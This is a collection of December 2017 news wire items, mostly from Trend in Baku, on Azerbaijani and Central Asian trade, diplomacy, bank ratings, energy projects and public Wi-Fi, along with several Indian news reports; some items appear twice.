There will be a trade and exhibition hall, a conference room, a gym room, office rooms and a mini-hotel in this multifunctional building that will have five floors.
Details added (first version posted on 15:09)

Baku, Azerbaijan, Dec. 19

Trend:

A groundbreaking ceremony of the Astrakhan Business Center was held in Baku on December 19.

Azerbaijani Presidents Assistant for Public and Political Affairs Ali Hasanov, Governor of Astrakhan Region of the Russian Federation Alexander Zhilkin, other officials, businessmen and representatives of public attended the event.

Addressing the event, Ali Hasanov said that there are ancient trade, economic and humanitarian relations between Azerbaijan and Astrakhan Region.

The Astrakhan Business Center will give a new momentum to the development of cooperation between Russia and Azerbaijan, he noted.

Governor Alexander Zhilkin, for his part, said that this Business Center will serve to the strengthening of trade and economic relations between Azerbaijan and Russia, as well as between the two countries regions.

Emphasizing that the Azerbaijan Business Center is being built in Astrakhan, the governor added that this will contribute to the creation of a logistic network in the province and further expansion of ties between businessmen.

Alexander Zhilkin expressed gratitude to President of Azerbaijan Ilham Aliyev for his support to the implementation of a number of projects in Astrakhan, and noted that the trade turnover between Russia and Azerbaijan grew even more in 2017.

He expressed confidence that such dynamics will continue next year.

Then the foundation of the Astrakhan Business Center was laid.

The total area of the Astrakhan Business Center will be more than 5,000 square meters.

There will be a trade and exhibition hall, a conference room, a gym room, office rooms and a mini-hotel in this multifunctional building that will have five floors.
By PTI: New Delhi, Dec 19 (PTI) The government today said the Income Tax department has seized assets worth Rs 900 crore till March 2017 post demonetisation.

The IT department conducted searches on 900 groups during November-March 2017 and undisclosed income of Rs 7,961 crore was admitted, said Minister of State for Finance P Radhakrishnan in a written reply to the Rajya Sabha.

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"The Income Tax Department takes appropriate action in suitable cases, which include searches, surveys, assessment of income, levy of tax, penalty and filing of prosecution complaints before criminal courts, whichever is applicable," he said.

Further, during April to October, around 275 groups were searched by the department, where assets worth Rs 573 crore were seized and a disclosure of over Rs 7,800 crore was made by the assesses concerned, he added.

The minister also said there there have been visible trend of an increase in households assets held in bank deposits, life insurance and mutual funds, a reduction in cash circulation, especially substantial reduction in high value currency notes, among other things post demonetisation.

He also highlighted various measures taken by the government to boost real GDP growth. These include, roll out of Goods and Services Tax (GST) and bank recapitalisation. PTI NKD BAL

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Headline changed, details added (first version posted on 18:47)

Baku, Azerbaijan, Dec. 19

Trend:

President Ilham Aliyev has received a delegation led by Iranian Foreign Minister Mohammad Javad Zarif, who today arrived in Baku.

Azerbaijani president expressed satisfaction with the level of cooperation between the two countries and noted that good results were achieved in implementation of joint projects. Recalling his brief talk with Iranian President Hassan Rouhani in Istanbul, President Ilham Aliyev said they exchanged views on the successful development of Azerbaijan-Iran bilateral relations.

Ilham Aliyev noted that the Iranian foreign ministers visit to Azerbaijan for the second time in a month indicates to high level of relations, adding that the visit creates good opportunity for discussing the agenda of the two countries bilateral relations.

Touching upon the trilateral meeting of the Azerbaijani, Turkish and Iranian foreign ministers, President Ilham Aliyev stressed the importance of holding these meetings on a regular basis, and assessed the meeting of the ministers of the neighbor states as a good initiative.

Iranian Foreign Minister Mohammad Javad Zarif conveyed greetings of President Hassan Rouhani to the Azerbaijani president.

The Iranian foreign minister stressed the importance of his visit to Azerbaijan for the second time this month and meeting Azerbaijani president in terms of development of the two countries relations. He said the Iranian side is very pleased with the fact that Azerbaijan-Iran relations have been at a very high level during Hassan Rouhani's presidency.

Touching upon the trilateral meeting of the Azerbaijani, Turkish and Iranian foreign ministers in Baku, Mohammad Javad Zarif stressed the importance of holding the meetings in this format and expressed confidence that they would continue in the future.

During the meeting, the sides exchanged views on the prospects of bilateral relations in the banking, energy, transportation, trade and investment spheres.

The Azerbaijani president expressed gratitude for the greetings of Hassan Rouhani and asked to convey his greetings to the Iranian president.
Baku, Azerbaijan, Dec. 19

Trend:

Elmar Gasimov, Rector of Baku Higher Oil School (BHOS) met with representatives of Swiss company Endress+Hauser Instruments International AG and with its official partner in Azerbaijan Sigma Technical Services Company . The meeting was attended by the Higher School management and Gert-Jan Verhagen, Regional Service Manager of Endress+Hauser Instruments International AG Central Asian Support Center in Kazakhstan, Joern Lange, the Product Development Manager in Germany, Andrey Tyunkin, Head of Central Asian Support Center in Kazakhstan and Samir Elyazov, Business Development Manager of Sigma Technical Services Company in Azerbaijan.

Rector Elmar Gasimov having welcomed the guests with warm greetings at BHOS, familiarized them with the activities, statistical indicators and achievements of the Higher School. BHOS Rector apprised the meeting participants of the BHOS new campus and of labs created there by leading companies in the field.

At the meeting, the guests made presentations of Endress + Hauser and Sigma Technical Services, talked about the company's local installation services and services supported by local staff. Parties also discussed the directions of future cooperation between themselves and talked about experimental production programs and enlightenment of students.

Manafeddin Namazov, Head of the Department of Process Automation Engineering, made a point of that the students who have been researching various aspects of the field have been using Endress + Hauser publicly available engineering software and process automation educational e-modules for over 3 years, and thanked the company's representatives for creating this opportunity for the students.

Endress+Hauser has been a leading supplier of products, solutions and services for industrial process measurement and automation for more than 60 years.
Tashkent, Uzbekistan, Dec. 10

By Diana Aliyeva Trend:

The plans for the development of rail transport in Uzbekistan include the transportation of foreign trade goods via the Baku-Tbilisi-Akhalkalaki-Kars railway with an opportunity to reach the ports as part of the pilot program.

It is planned to participate in the creation of the Azerbaijan-Georgia-Turkey-EU countries transit corridor by determining the volumes of transportation of foreign trade and transit cargoes.

These plans are included in the "Comprehensive Program for Improving Transport Infrastructure and Diversification of Foreign Trade Routes for the Carriage of Goods for 2018-2022", which is part of the Uzbek presidents decree # PP-3422 adopted on December 2, 2017.

The first steps on the implementation of these plans are attributed to the first quarter of 2018.

The Baku-Tbilisi-Kars railway was commissioned in Azerbaijan on October 30, 2017.

Azerbaijani President Ilham Aliyev, Turkish President Recep Tayyip Erdogan, as well as the heads of the governments of Kazakhstan, Georgia and Uzbekistan, attended the opening ceremony.

The main task of the new railway is to connect the railways of three countries, namely, Georgia, Azerbaijan and Turkey, by creating an alternative corridor from Central Asia through the South Caucasus to Europe.

The railways peak capacity will be 17 million tons of cargo per year. At an initial stage, this figure will be one million passengers and 6.5 million tons of cargo.

The total length of the BTK railway is 826 kilometers.
Baku, Azerbaijan, Dec. 19

By Ali Mustafayev  Trend:

The volume of exports from the Russian Federation to Kazakhstans Atyrau region exceeded the volume of imports since the beginning of 2017.

"The steady increase in exports to Russia with a simultaneous decrease in imports has been observed since the beginning of this year. From January to September of 2017, the total trade between the two countries amounted to $13.5 billion. This is a 36.3 percent increase over the corresponding period of 2016," said Karlygash Bekbayeva, deputy head of business department of the region, Kazakh media reported.

The export of goods from Kazakhstan to Russia amounted to $12.2 billion. The growth compared to these months last year was 48 percent. The imports amounted to $1.2 billion, which is a 77.9 percent decrease.

Meanwhile, the decrease in imports from Russia is primarily due to the increase of products output of local companies in Kazakhstan, and particularly in the Atyrau region.
Baku, Azerbaijan, Dec. 19

By Ali Mustafayev  Trend:

Czech-made Tatra trucks, which are planned to be assembled in Azerbaijan, will be exported to foreign markets, said Ambassador of the Czech Republic to Azerbaijan Vitezslav Pivonka.

He made the remarks in Baku Dec. 19 at a press conference dedicated to the results of the Azerbaijani-Czech relations in 2017, Trend's correspondent reported from the event.

We do not have detailed information about the volume of production, but we can say that Czech producers have arrived in Ganja, and negotiations are already underway to assemble Tatra trucks in Azerbaijan, and production volumes will be calculated not only for the domestic market of Azerbaijan, said the envoy.

Trade turnover between Azerbaijan and the Czech Republic reached $924 million in ten months of 2017, $846 million of which accounted for the export of Azerbaijani products to the Czech Republic, and the import of Czech products by Azerbaijan totaled $78 million.
Baku, Azerbaijan, Dec. 19

By Nigar Guliyeva  Trend:

Uzbekistan and Turkey have agreed to support youth entrepreneurship, the press service of the Uzbek Ministry of Foreign Trade reported.

The agreement was reached during a meeting of the Turkish delegation headed by President of the Turkish Cooperation and Coordination Agency (TIKA) Serdar Cam in the Ministry of Foreign Trade of Uzbekistan.

During the talks, Serdar Cam noted that the events held at the highest level Oct. 25-26 this year opened a new page in relations between Uzbekistan and Turkey.

He highly appreciated the reforms conducted under the leadership of Uzbek President Shavkat Mirziyoyev in all spheres of the economy, and noted impressive pace of economic growth in Uzbekistan, which is a good basis for the development of business contacts.

Following negotiations with the Turkish side, agreements were reached to support youth entrepreneurship, organize training and improve skills of young entrepreneurs in economic structures and universities of Turkey.

The parties also planned joint organization of business forums, seminars and other training events with the involvement of experts from the relevant ministries of Turkey on issues of the development of export activity. It is also planned to attract technical assistance in implementation of specific projects of interest to both sides.
Details added (first version posted on 11:53)

Baku, Azerbaijan, Dec. 19

By Ali Mustafayev - Trend:

The trade turnover between Azerbaijan and the Czech Republic is growing rapidly, said Jan Jindrich, secretary for economic and commercial affairs at the Embassy of the Czech Republic in Azerbaijan.

He made the remarks in Baku Dec. 19 at a press conference dedicated to the results of the Azerbaijani-Czech relations in 2017, Trend's correspondent reported from the event.

The trade turnover between the two countries increased by more than 100 percent in January-October 2017 as compared to the same period of the previous year, noted Jindrich.

The two countries trade turnover reached $924 million in ten months of 2017, $846 million of which accounted for the export of Azerbaijani products to the Czech Republic, and the import of Czech products by Azerbaijan totaled $78 million, said the secretary.

Jindrich also noted that according to the Statistics Committee of the Czech Republic, the country is the seventh biggest partner of Azerbaijan in terms of exports and 15th  in terms of imports.

The main product exported from Azerbaijan to the Czech Republic is crude oil, the volume of which totals 2-2.5 million tons per year, and makes up a third of the oil consumed in the Czech Republic, he added.

Jindrich emphasized that supplies from Azerbaijan have a strong impact on the energy security of the Czech Republic, and at the same time, Azerbaijan is an attractive country for Czech investors.

Over the past ten years, Czech banks, both public and private, invested more than $2 billion in the Azerbaijani economy, which includes the Czech Republic in the list of the top 10 investors in the economy of Azerbaijan, added the secretary.
Details added (first version posted on 12:09)

Baku, Azerbaijan, Dec. 19

By Ali Mustafayev  Trend:

Direct flights may be launched between Azerbaijan and the Czech Republic, said Ambassador of the Czech Republic to Azerbaijan Vitezslav Pivonka.

He made the remarks in Baku Dec. 19 at a press conference dedicated to the results of the Azerbaijani-Czech relations in 2017, Trend's correspondent reported from the event.

Previously, there were direct flights between our countries, which were suspended for a number of reasons, the main one of which I consider the economic one, because flights are also business. However, negotiations on this issue are underway between our airlines, and I hope that this inconvenience will be eliminated soon, added the ambassador.

Currently, flights between Azerbaijan and the Czech Republic are carried out with a change in Istanbul.
Baku, Azerbaijan, Dec. 19

By Nigar Guliyeva  Trend:

Fitch Ratings has upgraded Georgia's Basisbank's (Basis) Long-Term Issuer Default Rating (IDR) to 'B+' from 'B' and affirmed Cartu Bank's (Cartu) and Halyk Bank Georgia's (HBG) IDRs at 'B+' and 'BB-', respectively.

Fitch has revised the Outlook on Cartu to Negative from Stable. The Outlooks on Basis and HBG are Stable. It also upgraded Basis's Viability Rating (VR) to 'b+' from 'b' and affirmed Cartu's VR at 'b+'. A full list of rating actions is at the end of this rating action commentary.

The agency states that Basis's and Cartu's IDRs are driven by the banks' standalone creditworthiness, as expressed by their VRs.

"The upgrade of Basis's Long-Term Foreign Currency IDR reflects the upgrade of the bank's VR. The latter captures the bank's extended track record of profitable growth, while maintaining reasonable asset quality metrics and a solid capital cushion.

The affirmation of Cartu's ratings and revision of the Outlook to Negative factors in the pressures the bank faces as a result of deteriorating asset quality, which could also negatively impact performance and capitalisation," the message reads.

Basis's and Cartu's VRs also consider high loan dollarisation levels (end-3Q17: 68% and 71%, respectively), sizeable balance sheet concentrations, the risks associated with largely unseasoned loan books after recent rapid growth and franchise limitations. The ratings also factor in both banks' reasonable profitability metrics, sizeable equity cushions and moderate refinancing risks.

The agency reported that HBG's IDRs are driven by the potential support it may receive, if needed, from its sole shareholder Halyk Bank of Kazakhstan (HBK, BB/Stable).

"The one-notch differential between HBK's and HBG's IDRs reflects the cross-border nature of the parent-subsidiary relationship, and the so far limited track record and contribution of the Georgian subsidiary to overall group performance. The Stable Outlook on HBG mirrors that on the parent," the message reads.

Fitch has not assigned a VR to HBG because of its high management and operational integration with HBK and significant reliance on parent funding.

At end-1H17, Basis's non-performing loans (NPLs, overdue more than 90 days) remained low at 2.2% of loans, fully covered by reserves. Performing restructured loans contributed a further 4.4% of loans (13% of equity) and were weakly provisioned.

Profitability metrics have been good, supported by still wide margins, although these are decreasing due to high competition, and growing economies of scale. Low risk costs (the annualised loan impairment charges/average gross loans ratio was 1% in 9M17, according to regulatory accounts) also support the bottom line, with solid annualised ROAA and ROAE of 2.4% and 13.1%, respectively, in 9M17 (2016: 2.9% and 15.4%).

Fitch expects Basis's profitability to continue to benefit from lending growth, while asset quality trends remain key to performance.

The agency said that NPLs at Cartu grew to 12.9% of end-1H17 loans from 11.7% at end-2016, covered 82% by reserves. These were mostly from the corporate lending segment and included legacy exposures originated in 2011 (43% of the total NPLs). Regulatory impaired loans grew to a large 33% at end-3Q17 from 22% at end-2016 and reserve coverage was a modest 42%. Regulatory impaired loans captured most of the major exposures, which Fitch has identified to be of higher risk, mainly due to the borrowers' weak or deteriorating financial profiles. These exposures represented 30% of loans or, net of specific reserves, were equal to 1.3x of end-3Q17 equity.

Fitch expects that provisioning requirements will remain high given weakening asset quality and large unreserved problem assets that will keep performance under pressure.
Details added (first version posted on 12:36)

Baku, Azerbaijan, Dec. 19

By Ali Mustafayev  Trend:

Czech-made Tatra trucks, which are planned to be assembled in Azerbaijan, will be exported to foreign markets, said Ambassador of the Czech Republic to Azerbaijan Vitezslav Pivonka.

He made the remarks in Baku Dec. 19 at a press conference dedicated to the results of the Azerbaijani-Czech relations in 2017, Trend's correspondent reported from the event.

We do not have detailed information about the volume of production, but we can say that Czech producers have arrived in Ganja, and negotiations are already underway to assemble Tatra trucks in Azerbaijan, and production volumes will be calculated not only for the domestic market of Azerbaijan, said the envoy.

Trade turnover between Azerbaijan and the Czech Republic reached $924 million in ten months of 2017, $846 million of which accounted for the export of Azerbaijani products to the Czech Republic, and the import of Czech products by Azerbaijan totaled $78 million.
Minister of External Affairs Sushma Swaraj expressed concern at the forced conversion of Sikhs in a province in Pakistan.

Punjab Chief Minister Captain Amarinder Singh has requested Sushma Swaraj to look into the matter.

By India Today Web Desk, India Today Web Desk: External affairs minister Sushma Swaraj has promised to take up issue of forced conversion of Sikhs in Pakistan with the competent authorities.

On Tuesday the minister tweeted: "We will take this up at the highest level with Government of Pakistan. Sikh community in Hangu being forced to convert."

Swaraj expressed concern at the alleged forced conversions of Sikhs living in the Hangu district of Pakistan's Khyber-Pakhtunkhwa province.

We will take this up at the highest level with Government of Pakistan. @IndiainPakistanSikh community in Hangu A??being forced to convertA?? https://t.co/HiWuVmBzbj- Sushma Swaraj (@SushmaSwaraj) December 19, 2017

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Earlier on Tuesday Punjab Chief Minister had drawn Swaraj's attention to the issue. He took to social media asking Swaraj to help the Sikh community. He tweeted: "...We cannot allow the Sikh community to be victimised in such a manner. It's our duty to protect the Sikh identity..."

Request @SushmaSwaraj ji to take up this issue with Pakistan. We cannot allow the Sikh community to be victimised in such a manner. ItA??s our duty to help protect the Sikh identity and the @MEAIndia should pursue the matter at the highest levels.https://t.co/sRFjV1pk5Q- Capt.Amarinder Singh (@capt_amarinder) December 19, 2017

Last week the Sikh community in Hangu lodged a formal complaint with the office of Deputy Commissioner of Hangu Shahid Mahmood claiming that Yakub Khan, assistant commissioner of Thal tehsil, was forcing Sikhs in the region to convert to Islam.

Mahmood has assured the Sikhs that the matter would be investigated. Last Friday members of the Sikh community staged a protest in Doaba Bazaar.

There are close 10,000 Sikhs living in the province.

Khyber-Pakhtunkhwa is a Pakistani province alongside the border with Afghanistan. The area is notorious for militancy and terrorism.

On December 16, 2014 Tehrik-i-Taliban terrorists attacked an army school in Peshawar (capital of Khyber-Pakhtunkhwa ) and gunned down more than 150 people, including school children.

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Details added (first version posted on 12:11)

Baku, Azerbaijan, Dec. 19

By Ali Mustafayev - Trend:

The Czech Republic is increasing the issuance of long-term visas for Azerbaijani citizens, Consul of the Embassy of the Czech Republic in Azerbaijan Josef Bohac said.

He made the remarks in Baku Dec. 19 at a press conference dedicated to the results of the Azerbaijani-Czech relations in 2017, Trend's correspondent reported from the event.

"Our goal is to attract Azerbaijani tourists to the Czech Republic, in particular to the Czech resorts, he said. In 2016, the number of tourist Schengen visas issued to Azerbaijani citizens to visit the Czech Republic decreased up to 6,500 compared to 8,000 visas issued in 2015.

In 2017, we issued a little more than 5,000 visas to Azerbaijani citizens, which is a downward tendency in the number of Azerbaijani tourists arriving in the Czech Republic," he said.

Bohac added that despite the decrease in the number of issued tourist visas, the number of visas issued to Azerbaijani citizens for long-term stay in the Czech Republic is increasing.

"We issued more than 120 long-term visas to Azerbaijani citizens in 2017, which testifies to Azerbaijani citizens great interest in obtaining long-term visas to the Czech Republic, he said.

The number of Czech tourists visiting Azerbaijan is also increasing, Bohac added. The embassies located in both countries, as well as relevant organizations, are working to increase the current figures in this sphere.
Baku, Azerbaijan, Dec. 19

By Nigar Guliyeva  Trend:

Uzbekistan Airways, the national flag carrier of Uzbekistan, will perform more flights to Bangkok, Thailand on Jan.3-12.

The flights will be performed on modern comfortable planes "Dreamliner" Boeing-787.

From Tashkent, flights HY 8533 will take off at 8:15 and land in Bangkok at 16:30 (local time).

From Bangkok flights HY 8534 will leave at 18:35 and arrive in Tashkent at 23:25 (local time).

In the first half of 2017, the national airline of Uzbekistan transported more than a million passengers, which is more by 4.3 percent compared to the corresponding period in 2016.

Uzbekistan Airways was established on January 28, 1992 upon the presidential decree. Today the airline performs regular flights to more than 40 cities around the world.
Baku, Azerbaijan, Dec. 19

By Azad Hasanli  Trend:

Properties of four banks liquidated in Azerbaijan will be put up for auction Jan. 16, 2018, the Azerbaijan Deposit Insurance Fund (ADIF) said in a message Dec. 19.

Cars on the balance sheet of Bank Standard and Atrabank, a non-residential area on the balance sheet of Kredobank, and a country house on the balance sheet of Texnikabank will be put up for the auction.

Two ATMs on the balance sheet of Atrabank and three embossers (one on the balance sheet of Atrabank and two on the balance sheet of Kredobank) will be also put up for the auction.

The auction will be held Jan. 16, 2018 at 11:00 (GMT +4) at: Republican Commodity and Raw Materials Exchange, 156 (20A), Hidayatzade Str.

Licenses of the four banks were revoked in 2016 as they didnt meet the minimum capital requirement of the Central Bank of Azerbaijan (50 million manats) and did not fulfill obligations to creditors.

The Azerbaijan Deposit Insurance Fund has been operating since August 13, 2007.
Baku, Azerbaijan, Dec. 19

By Azad Hasanli  Trend:

Shareholders of Azerbaijans Bank Respublika OJSC are discussing capital replenishment plans including 10 million manats additional share issue, Moody's Investors Service international rating agency said in a message.

Moody's believes it may materialize early next year, if approved by the shareholders, according to the message.

The banks regulatory capital decreased to 39.8 million manats as of 1 December 2017, which is below the minimal threshold of 50 million manats, said the message.

The bank's non-performing loans (NPL) overdue by more than 90 days accounted for 8.9 percent of gross loans at the end of 2016 and restructured loans comprised another 20 percent according to bank's audited IFRS report.

Loan loss reserves at 8.8 percent of gross loans fully cover NPLs, but provide only limited coverage of restructured loans suggesting additional provisioning might be required in the next 12-18 months.

Moody's has downgraded Joint Stock Commercial Bank Respublika's (Bank Respublika) long-term foreign- and local-currency deposit ratings to Caa1 from B3. The bank's baseline credit assessment (BCA) and adjusted baseline credit assessments were downgraded to caa1 from b3. The outlook on the long-term local- and foreign-currency deposit ratings remain negative.

Moody's has downgraded the bank's long-term Counterparty Risk Assessment (CR Assessment) to B3(cr) from B2(cr) and affirmed its short-term CR Assessment of Not Prime(cr).
Baku, Azerbaijan, Dec. 19

By Maksim Tsurkov  Trend:

The expansion of the Sangachal oil and gas terminal within the Shah Deniz-2 project is nearing completion.

This was reported to Azerbaijani Minister of Energy, Parviz Shahbazov, who visited the terminal, the countrys Energy Ministry said in a messages

The ministry said that Shahbazov got acquainted with the activities of the "Cnub" power plant with a capacity of 780 megawatts during the visit to Shirvan.

"Shahbazov also observer the work of ATEF Group of Companies, which is engaged in the production of heavy oil and gas transformers, " the statement said

Shahbazov has also visited the Sangachal terminal, the area of which has been extended for Shah Deniz 2.

The minister was informed that work on the terminal territory is at stage of completion, and conditions have been created for processing of additional 16 bn cum of gas.

Minister Shahbazov also acquainted with progress of work and gave relevant instructions at the Baku Thermal Power Center.
Baku, Azerbaijan, Dec. 19

By Rufiz Hafizoglu  Trend:

Turkey plans to build 14 metro stations within construction of one of the largest tunnels in Istanbul, the Great Istanbul Tunnel, Turkish Ministry of Transport, Maritime and Communications told Trend Dec. 19.

As the ministry noted, on November 30, 2016 a tender was announced for research, design and engineering works within the project.

"The project provides for construction of the world's first three-tier tunnel under the Bosphorus Strait in Istanbul. The plan is to lay a tunnel at a depth of 110 meters; its length will be 6.5 kilometers. One railway and two highways connecting the Asian and European parts of Istanbul will be laid through the tunnel," the ministry said.

Presently, Turkey has 40 automobile and three railway tunnels.
Baku, Azerbaijan, Dec.19

By Leman Zeynalova  Trend:

Trans Adriatic Pipeline (TAP) route in Italys Puglia is the best option, with the least impact on the environment, said Managing Director at TAP Luca Schieppati.

He was commenting on the possibility of changing TAPs landfall.

We evaluated 11 alternative landing points and Puglia is the best option, Schieppati told Italian media.

The pipeline project cannot be changed anymore, said the managing director, adding that starting again with the authorization process would mean going back more than four years and it would be useless, because there are no better options.

"The work on the ground will be carried out with the best and most modern solutions available to avoid damaging the environment. The gas terminal will be built in an area of 12 hectares and the plant and buildings will occupy less than 3,500 square meters, he said.

Schieppati said that it is planned to move olive trees, but this work will be carried out respecting the environment and after the completion of the work, everything will be restored as before, with great benefits for everyone.

TAP is a part of the Southern Gas Corridor, which is one of the priority energy projects for the European Union. The project envisages transportation of gas from Azerbaijan's Shah Deniz Stage 2 to the EU countries.

The pipeline will connect to the Trans Anatolian Natural Gas Pipeline (TANAP) on the Turkish-Greek border, run through Greece, Albania and the Adriatic Sea, before coming ashore in Italys south.

TAP will be 878 kilometers in length (Greece 550 kilometers, Albania 215 kilometers, Adriatic Sea 105 kilometers, and Italy 8 kilometers).

TAPs shareholding is comprised of BP (20 percent), SOCAR (20 percent), Snam S.p.A. (20 percent), Fluxys (19 percent), Enagas (16 percent) and Axpo (5 percent).

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Follow the author on Twitter: @Lyaman_Zeyn
Details added (first version posted on 13:15)

Baku, Azerbaijan, Dec. 19

By Maksim Tsurkov - Trend:

SOCAR Energy Holdings (the Swiss subsidiary of Azerbaijans state oil company SOCAR) has purchased the filling stations network owned by Austrias A1 company, said a message posted on SOCARs official website Dec. 19.

SOCAR Energy Holdings purchased Pronto Oil company, engaged in the sale of petroleum oils, and thus entered the Austrian retail fuel market.

"To increase the amount of investments in the downstream sector, SOCAR Energy Holdings transfers some revenues received in Switzerland over the past five years into the investment projects, creates synergy with the investments made in previous years and increase the amount of investments, the message said. The main goal is to diversify sources of income in the future, use the potential of new markets and bring even more revenues to the Azerbaijani economy."

According to the message, SOCAR has recently expanded its dealership and supplier relations with medium-sized companies in Switzerland, uses a common card system and implements other various partnership projects.

"The purchase of the A-1 network, which is a well-known family business, in the Austrian market close to Switzerland, was the logical continuation and the next step of this expansion strategy, the message said. In total, 82 A-1 filling stations operate in Austria. A1 plays a leading role in the Styria fuel market. Meanwhile, 150 people are employed in the company."

SOCAR also purchased Pronto Oil Mineralolhandels GmbH, based in Graz city and engaged in trade.

"A-1 and Pronto Oil company established SOCAR Energy Austria Ltd to manage the network, the message said. The employees of A-1 and Pronto Oil companies will not be dismissed and will continue their activity in SOCAR Energy Austria. Taking into account that A-1 brand is already well-known in the Austrian market, SOCAR intends to use the purchased filling stations network under this brand."

Head of SOCAR Energy Holdings Edgar Bachmann expressed gratification with the new project.

"The purchase of A-1 network opens new horizons for SOCAR in Austria, creates new commercial opportunities and strengthens positions as a leading energy company in this country," he said.

SOCAR entered the Swiss oil market five years ago with a new approach that includes retail sales of high-quality goods that meet the needs of local customers.

Today, more than 63 percent of consumers in Switzerland recognize and appreciate SOCARs brand. SOCAR has expanded its dealer base in Switzerland and has established partnership relations with 15 dealers. Meanwhile, 5-10 more dealers are expected to join SOCARs brand in 2018.

Austria, a neighboring country of Switzerland having similar culture, is a strategic market for SOCAR. At the same time, the A-1 network is known as a highly reliable trademark in many parts of Austria.
Baku, Azerbaijan, Dec. 19

By Huseyn Valiyev  Trend:

Free Wi-Fi has already covered more than 20 parks in Baku, said Ramin Guluzade, minister of transport, communications and high technologies, at a regular meeting of the American Chamber of Commerce (AmCham) in Baku.

The project is of social nature and is intended to provide citizens and guests of the capital with Internet access.

Deployment of wireless Wi-Fi points in Baku of the capital of Azerbaijan is handled by Baku Telephone Communication LLC.

Work to expand the coverage of the wireless Internet network has been ongoing since March this year as part of the project "Public Wi-Fi." The goal of the project is to provide residents and guests of the capital with access to the Internet in places of mass congestion of people.

Currently, the territory of the Icherisheher State Historical and Architectural Reserve, the National Seaside Park, the Park of the Heydar Aliyev Center, the Narimanov Park (near the Metro station of the same name), the Winter Park, the Officers Park, the Sahil Parks are covered by free access to the Internet. "Akhundov park, Sabir park, Khagani, Huseyn Javid, Samed Vurgun, Mugan, Dede Gorgud, Izmir, Fashion Avenue parks , located between Port Baku Residence and Port Baku Mall.

To use the service, one will need to enable the option of Wi-Fi networks detection on mobile device, select Baku loves you network and pass through authentication process via the phone number.
Details added (first version posted on 13.31)

Baku, Azerbaijan, Dec. 19

By Huseyn Valiyev  Trend:

Free Wi-Fi has already covered more than 20 parks in Baku, said Ramin Guluzade, minister of transport, communications and high technologies, at a regular meeting of the American Chamber of Commerce (AmCham) in Baku.

The project is of social nature and is intended to provide citizens and guests of the capital with Internet access.

Deployment of wireless Wi-Fi points in Baku of the capital of Azerbaijan is handled by Baku Telephone Communication LLC.

Work to expand the coverage of the wireless Internet network has been ongoing since March this year as part of the project "Public Wi-Fi." The goal of the project is to provide residents and guests of the capital with access to the Internet in places of mass congestion of people.

Currently, the territory of the Icherisheher State Historical and Architectural Reserve, the National Seaside Park, the Park of the Heydar Aliyev Center, the Narimanov Park (near the Metro station of the same name), the Winter Park, the Officers Park, the Sahil Parks are covered by free access to the Internet. "Akhundov park, Sabir park, Khagani, Huseyn Javid, Samed Vurgun, Mugan, Dede Gorgud, Izmir, Fashion Avenue parks , located between Port Baku Residence and Port Baku Mall.

To use the service, one will need to enable the option of Wi-Fi networks detection on mobile device, select Baku loves you network and pass through authentication process via the phone number.
By PTI: United Nations, Dec 19 (PTI) India has topped the list of people living abroad at 17 million with about 5 million Indians residing in the Gulf region alone, according to a new UN report.

Mexico, Russia, China, Bangladesh, Syria, Pakistan and Ukraine also have large migrant populations living abroad, ranging from 6 to 11 million each, according to the 2017 International Migration Report released here.

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In 2017, India was the largest country of origin of international migrants at 17 million, followed by Mexico at 13 million.

Other countries of origin with large migrant populations include the Russia at 11 million, China at 10 million, Bangladesh at 7 million, Syria at 7 million and Pakistan and Ukraine at 6 million each.

The number of migrants from India now reside in multiple destination countries, including the UAE at 3 million, the US and Saudi Arabia at 2 million each, the report said.

There are now an estimated 258 million people living in a country other than their country of birth ? an increase of 49 per cent since 2000, it added.

International migration is a critical concern for the implementation of the 2030 Agenda for Sustainable Development, the report said.

"Reliable data and evidence are critical to combat misperceptions about migration and to inform migration policies," said Liu Zhenmin, UN Department of Economic and Social Affairss Under-Secretary-General.

"These new estimates of numbers of international migrants around the world will provide an important baseline for Member States as they begin their negotiations on the Global Compact for Safe, Orderly and Regular Migration," Liu said.

The report shows that international migration makes an important contribution to population growth in many parts of the world and even reverses population decline in some countries or areas.

Between 2000 and 2015, migration contributed 42 per cent of the population growth in Northern America and 31 per cent in Oceania. In Europe, the size of the total population would have declined during the period 2000-2015 in the absence of migration. PTI UZM AKJ UZM

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The European Union and the Kyrgyz Republic are today opening negotiations on a new agreement. Negotiations towards a comprehensive framework that will strengthen bilateral relations were launched by Mr Luc Devigne, Director for Russia, Eastern Partnership, Central Asia and OSCE, Chief Negotiator on behalf of the High Representative of the Union for Foreign Affairs and Security Policy/Vice-President of the European Commission, Federica Mogherini, and Deputy Minister of Foreign Affairs of the Kyrgyz Republic, Mr Emil Kaikiev, Kabar reported.

"During my recent visit to Bishkek, the leaders of the Kyrgyz Republic shared with me their ambitious reform agenda and their commitment to strengthen democracy, promote transparency and good governance, and develop new economic opportunities", said the High Representative/Vice-President, Federica Mogherini. "A new, enhanced agreement will allow us to further support these aspirations, to build stronger political and economic ties, and to create more possibilities to bring benefits both in the EU and in Kyrgyzstan."

The future Agreement will replace the current Partnership and Cooperation Agreement, which has been in force since 1999. In the first round, the EU and the Kyrgyz Republic will look to agree on procedural aspects of the negotiations process and exchange views on foreseen objectives and general principles of the new agreement. It is expected that the new agreement will focus on political cooperation, trade and investment relations, economic cooperation in support of sustainable development, and other aspects of bilateral relations. The aim is to make swift progress during negotiations and to work towards concluding an ambitious agreement as soon as possible, with negotiating rounds foreseen to alternate between Brussels and Bishkek.
Tashkent, Uzbekistan, Dec. 19

By Diana Aliyeva  Trend:

The 13th plenary session of the Senate of Uzbekistans parliament will be held in Tashkent on December 20.

The parliaments press service said in a message that the issue of the countrys state budget, the budgets of state trust funds and the main directions of the tax and budget policy for 2018 are brought up for discussion.

The agenda includes a number of laws and issues, including laws on administrative procedures, the approval of the new version of Uzbekistans military doctrine, the new version of the Civil Procedure Code, Economic Procedure Code, Administrative Responsibility Code, changes and additions to some legislative acts of the country in connection with the improvement of the activities of certain state bodies, as well as the adoption of additional measures on guaranteeing the protection of citizens rights and freedoms.

During the plenary session, Uzbek senators will consider the issue of the program for the gradual transformation of farms into multi-sector farms for 2018, listen to a report presented by the Uzbek minister of internal affairs on the activities of law enforcement agencies in the field of combating crime and preventing offenses, as well as a report by the Uzbek foreign minister about the ministrys activities in 2017.

Moreover, other issues related to the competence of the Senate of Uzbekistans parliament will be discussed at the session.
Ashgabat, Turkmenistan, Dec. 19

By Huseyn Hasanov  Trend:

Ashgabat hosted a seminar on the issues of international water law, the Neutral Turkmenistan newspaper reported.

The event was dedicated to the sphere of international legal regulation of transboundary water resources in Central Asia.

